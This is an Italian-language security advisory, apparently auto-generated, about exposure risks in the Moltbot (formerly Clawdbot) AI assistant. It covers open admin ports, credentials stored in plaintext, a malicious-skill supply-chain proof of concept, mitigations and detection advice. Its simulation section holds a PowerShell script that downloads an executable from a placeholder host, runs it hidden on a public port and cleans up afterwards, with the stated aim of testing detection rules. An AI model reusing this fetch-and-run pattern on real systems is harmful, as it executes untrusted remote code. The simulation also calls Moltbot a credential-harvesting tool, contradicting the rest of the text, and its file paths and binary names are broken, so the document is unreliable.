L’Epidemia di Moltbot / ClawdBots

Riassunto

L’articolo segnala problemi di sicurezza intorno all’assistente personale AI prima chiamato Clawdbot e poi rinominato Moltbot. Moltbot opera tramite app di messaggistica come WhatsApp e Telegram, tuttavia molti impieghi sono raggiungibili da internet con autenticazione debole o assente. Scrive le credenziali degli utenti in file di testo in chiaro e la sua libreria di skill può essere compromessa, creando un’esposizione nella catena di approvvigionamento. Gli attori delle minacce potrebbero rubare segreti, esfiltrare codice sorgente e riutilizzare l’assistente come backdoor.

Indagine

I ricercatori hanno trovato centinaia di istanze di Moltbot che espongono porte admin non autenticate e configurazioni proxy non sicure. Un attacco di prova del concetto alla catena di approvvigionamento ha caricato una skill malevola nella libreria ClawdHub, dimostrando l’esecuzione di comandi remoti per gli utenti a valle. Gli analisti hanno anche osservato che i segreti sono conservati in file di testo semplice Markdown e JSON, rendendoli facili bersagli per infostealer comuni come RedLine, Lumma e Vidar.

Mitigazione

Gli operatori dovrebbero richiedere un’autenticazione forte per tutti i servizi Moltbot, chiudere o mettere sotto firewall le porte admin ed evitare di esporre l’assistente su internet. Abilitare la crittografia a riposo per i segreti memorizzati, sandbox o containerizzare i runtime e limitare l’accesso al filesystem. Verificare, firmare e bloccare tutte le skill prelevate dalla libreria e considerare di disabilitare la funzione skill se non può essere governata in modo sicuro.

Risposta

Allertare su porte admin aperte e tentativi di accesso non autenticati a Moltbot. Monitorare il processo AI per esecuzioni di comandi inaspettati e connessioni in uscita a domini C2 sconosciuti. Scansionare gli host per malware rubacredenziali e validare l’integrità dei file di configurazione memorizzati. Se viene confermato un compromesso, isolare il sistema, revocare le credenziali esposte e ridistribuire Moltbot con impostazioni rinforzate.

Esecuzione Simulazione

Prerequisito: Il controllo pre-volo della Telemetria & Baseline deve essere superato.

• Narrativa di Attacco & Comandi:
  Il red team distribuisce Moltbot (uno strumento di raccolta credenziali pubblicamente disponibile) su un host Windows compromesso. Avviando Moltbot con la sua configurazione predefinita, apre una console admin HTTP non autenticata su porta 8080 che pubblicizza “esposto al web” nel suo banner. Questo crea eventi di connessione di rete che corrispondono alle stringhe letterali della regola di rilevamento. L’attaccante poi accede all’interfaccia utente da un IP esterno per verificare l’esposizione, generando così la telemetria richiesta.

  1. Scarica Moltbot (simulato da un file zip segnaposto).
  2. Estrarre ed eseguire il binario con i flag predefiniti (--listen 0.0.0.0:8080).
  3. Emetti eventualmente un HTTP GET da un IP esterno (simulato via Invoke-WebRequest).

• Script di Test di Regressione:

  # ----------------------------------------------------
  # Simulazione di Esposizione Moltbot – PowerShell
  # ----------------------------------------------------
  # 1. Creare una directory temporanea
  $tempDir = "$env:TEMPMoltbotSim"
  New-Item -ItemType Directory -Force -Path $tempDir | Out-Null
  
  # 2. Simulare il download di un eseguibile Moltbot (segnaposto)
  $molExe = "$tempDirmolbot.exe"
  Invoke-WebRequest -Uri "https://example.com/moltbot.exe" -OutFile $molExe -UseBasicParsing
  
  # 3. Eseguire Moltbot con impostazioni predefinite (esposte)
  $proc = Start-Process -FilePath $molExe `
                        -ArgumentList "--listen 0.0.0.0:8080" `
                        -PassThru `
                        -WindowStyle Hidden
  
  Write-Host "[+] Moltbot avviato (PID: $($proc.Id)) in ascolto su 0.0.0.0:8080"
  
  # 4. Attendere un breve periodo per permettere alla servizio di registrarsi nei log
  Start-Sleep -Seconds 5
  
  # 5. Simulare una connessione esterna per generare traffico di rete
  Try {
      Invoke-WebRequest -Uri "http://$($env:COMPUTERNAME):8080" -UseBasicParsing -TimeoutSec 5
      Write-Host "[+] Richiesta HTTP esterna inviata all'UI di Moltbot."
  } Catch {
      Write-Warning "[-] Impossibile raggiungere l'UI di Moltbot (potrebbe essere bloccata dal firewall)."
  }
  
  # 6. Mantenere il processo attivo per ulteriori logging (facoltativo)
  Start-Sleep -Seconds 20
  
  # 7. Pulizia – fermare Moltbot
  Stop-Process -Id $proc.Id -Force
  Remove-Item -Recurse -Force $tempDir
  Write-Host "[+] Simulazione Moltbot completata e pulita."

• Comandi di Pulizia:

  # Terminare forzatamente eventuali processi Moltbot residui ed eliminare i file temporanei
  Get-Process -Name "molbot" -ErrorAction SilentlyContinue | Stop-Process -Force
  Remove-Item -Path "$env:TEMPMoltbotSim" -Recurse -Force -ErrorAction SilentlyContinue
  Write-Host "Pulizia completata."